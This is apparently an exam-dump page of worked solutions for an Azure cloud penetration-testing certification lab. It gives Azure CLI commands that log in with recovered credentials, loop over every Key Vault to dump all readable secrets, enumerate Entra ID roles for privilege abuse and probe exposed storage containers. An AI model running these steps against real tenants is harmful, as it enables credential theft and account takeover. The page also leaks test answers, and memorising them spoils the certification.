CCPenX-Az Exam Dumps - Certified Cloud Pentesting eXpert - Azure

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--output json

To display only role names:

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--query " value[].displayName " \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B. User Administrator

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Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

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public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

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b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

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